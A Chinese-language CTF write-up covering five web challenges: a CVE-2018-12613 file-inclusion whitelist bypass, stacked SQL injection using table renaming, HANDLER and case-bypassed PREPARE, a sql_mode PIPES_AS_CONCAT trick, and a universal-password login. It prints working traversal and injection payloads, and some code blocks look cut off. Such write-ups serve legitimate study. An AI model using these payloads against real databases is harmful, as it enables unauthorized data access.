(吐槽一波,由于这些题曾经做过这次是第二次做,浏览器智能得还留着我上一次操作的payload,导致我输入的时候payload直接就弹出来了/捂脸)
0x01 [HCTF 2018] Warm Up
这个题考察CVE-2018-12613。拿到题目,f12发现给了source.php。
1 |
|
审计代码发现有两个文件,其中hint.php提示了flag的位置,source.php就是源代码。其他文件的话都会返回you can't see it
。但是仔细审计代码发现$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));
这段代码存在逻辑漏洞,只需要在这两个满足白名单的文件后面加个?
后就可以绕过了。
故构造如下payload:
1 | file=source.php?../../../../../../../ffffllllaaaagggg.php |
成功获得flag。
0x02 [强网杯 2019] 随便注
这个题考察堆叠注入。先测试1' or 1=1 #
发现可以正常返回,可以知道是单引号闭合,随后尝试union select注入发现被过滤且无法绕过。但是发现这里可以进行堆叠注入。
1 | 1';show databases; # # 查看数据库 |
随后发现在1919810931114514表中存在flag,但我们查询的是words表。故尝试修改表名来完成查询。修改words表为words1,1919810931114514表为words,然后修改列名,然后在输入万能密码查询就能得到flag了。
1 | 1';rename table `words` to `words1`;rename table `191910931114514` to `words`;alter table `words` change `flag` `id` varchar(100); # |
不过这个题还有其他做法,可以通过mysql特有的handler语句完成查询。
1 | 1';handler `1919810931114514` open;handler `1919810931114514` read first; # #如果没读出来就handler `1919810931114514 read next;一直往下读,读到flag为止。 |
或者通过预处理:
1 | 1';sEt a=CONCAT('se','lect * from `1919810931114514`;');prePare flag from a;execute flag; # # set和prepare被过滤了,不过这个可以通过大小写绕过 |
0x03 [SUCTF 2019] EasySQL
这个题也是堆叠注入,但是handler被过滤,且被限制了40位。前面的方法无法再使用了。测试一下发现,输入1,2,3等数字返回1,输入0或者非数字什么都不返回。猜测使用了||。然后发现通过修改sql_mode系统变量可以改变||的功能,把||的功能从运算符变成字符串拼接符。
sql_mode可以设置的值有:ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,PIPES_AS_CONCAT,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
sql_mode主要关注两个值,PIPES_AS_CONCAT即将||当作字符串拼接符,STRICT_TRANS_TABLES即将||当作逻辑或运算符。
ok接下来就简单了。将sql_mode设置成PIPES_AS_CONCAT,然后查询就完事。
1 | 1';set sql_mode=PIPES_AS_CONCAT;select 1; # |
一个非预期。这个题没有过滤,故可以直接\,1,这样sql语句就变成了
select *,1||flag from Flag
,也就是select *,1 from Flag
。直接查询flag表所有内容。
0x04 [极客大挑战 2019] EasySQL
万能密码登录即可。
0x05 [GYCTF 2020] Blacklist
这个题set alter被过滤了且无法绕过,于是就只剩下使用handler进行查询的方法了。payload和强网杯那个一样,不再赘述。